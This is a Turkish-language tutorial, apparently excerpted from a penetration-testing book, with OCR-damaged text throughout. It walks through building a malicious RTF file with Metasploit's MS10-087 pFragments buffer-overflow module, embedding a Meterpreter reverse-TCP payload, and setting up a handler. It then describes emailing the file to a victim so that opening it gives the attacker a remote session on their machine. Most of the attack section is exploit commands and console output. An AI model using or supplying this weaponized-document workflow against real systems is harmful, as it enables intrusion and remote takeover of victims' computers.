Zararh .rtf Uzantili Dosya Yapma ve Meterpreter Session'1 Elde Etme
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Her tiirlii denemelerime ragmen bu yazi basarili olamamistir. Fakat asagidaki video
bu yazida anlatilanlar1 uyguladiginda sorunsuz sizma islemini gerceklestirmektedir.

> https://www.youtube.com/watch?v=cK-8jygY2Tc

Bu yazida Microsoft Office 2010, 2007 ve 2003 siiriimlerini etkileyen, gelisi giizel kod ¢alistirmay1
saglayan pFragments Stack Buffer Overflow acikligindan faydalanarak uzaktan session elde etme
gosterilecektir. Bu makale boyunca izlenecek adimlar su sekildedir: Once Kali'de zararl bir rtf
uzantili belge olusturulacaktir. Sonra Kali sistemi disaridan gelecek ters baglantilar1 dinler moda
gecirilecektir. Ciinki zararh belgeye cift tiklandigindan olusan ters baglantiy1 Kali'nin yakalamasini
istiyoruz. Ardindan olusturulan zararh belge kurbana yollanip kurban olarak gelen zararli belgeye
cift tiklanacaktir. Boylece Kali komut satirinda kurbandan gelen session goriilmiis olunacaktir.
Simdi bu adimlar teker teker yapalim.

Ik olarak Kali'de rich text formatinda zararli bir dékiiman olugturalim.

msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

msf exploit(ms10_087_rtf_pfragments_bof) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms10_087_rtf_pfragments_bof) > set LHOST 192.168.2.188 // Kali IP
msf exploit(ms10_087_rtf_pfragments_bof) > set LPORT 4448

msf exploit(ms10_087_rtf_pfragments_bof) > exploit

[*] Creating 'msf.rtf' file ...
[*] msf.rtf stored at /root/.msf4/local/msf.rtf

Goriildiigii tizere msf.rtf adli dokiimanimiza bir exploit ve akabinde meterpreter payload'u
gomiilmiistiir. Dolayisiyla bu belge bir zararli belge olmustur. Zararh belge olusumundan sonra
bunu kurbana géndermeden 6nce dinleme moduna gecelim. Ciinkii kurban zararli belgeye cift
tiklandi81 anda acilan ters baglantiy: kacirmak istemeyiz. Dolayisiyla asagidaki kodlar girelim.

msf exploit(ms10_087_rtf_pfragments_bof) > back

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.2.188 // Kali IP
msf exploit(handler) > set LPORT 4448

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.2.188



[*] Starting the payload handler...

Boylece disaridan gelen ters baglantilara agik hale gelmis bulunmaktayiz. Yani artik saldirgan
olarak hazir durumdayiz. Bundan sonraki asama zararli belgeyi eposta yoluyla Windows XP
(Dandik)'e gondermek ve Windows XP'den bu belgeyi office yazilimiyla agmaktir. Zararh belgeyi
Office 2003 yazilim ile actigimiz takdirde zararh belgedeki exploit office 2003'teki zafiyetten
faydalanarak calisacak ve office 2003 process'inin icine sizacaktir. Ardindan bunun akabinde
exploit, payload'u calisir haldeki process'in gobegine birakacaktir. Boylece Kali'deki konsol su
ciktiy1 verecektir.

[*] Sending stage (752128 bytes) to 192.168.2.188
[*] Meterpreter session 1 opened

meterpreter > ...
Yani meterpreter oturumu komut satirimiza gelmis olacaktir. Artik diledigimiz sekilde kodlamada

bulunabilir, hedefi diledigimiz gibi manipule edebiliriz.

Kaynak: Tez Raporu/Literatiir Taramasi/incelenmis Makaleler/BGA/Pentest ve Metasploit.pdf,
page 238






